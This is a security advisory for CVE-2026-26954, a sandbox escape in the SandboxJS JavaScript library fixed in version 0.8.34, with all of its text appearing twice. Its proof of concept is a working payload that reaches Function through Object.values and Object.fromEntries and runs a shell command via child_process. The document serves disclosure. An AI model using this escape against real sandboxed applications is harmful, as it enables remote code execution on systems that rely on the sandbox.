CVE-2026-26954

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.

Summary

It is possible to obtain arrays containing Function, which allows escaping the sandbox.

Details

There are various ways to get an array containing Function, e.g.

Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]

Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.

PoC

const s = require('.').default;
const sb = new s();

payload = `
const p = (async function () {})();
({
  "finally": p.finally,
  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;

sb.compile(payload)().run();

Impact

Sandbox Escape -> RCE

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.

Summary

It is possible to obtain arrays containing Function, which allows escaping the sandbox.

Details

There are various ways to get an array containing Function, e.g.

Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]

Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.

PoC

const s = require('.').default;
const sb = new s();

payload = `
const p = (async function () {})();
({
  "finally": p.finally,
  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;

sb.compile(payload)().run();

Impact

Sandbox Escape -> RCE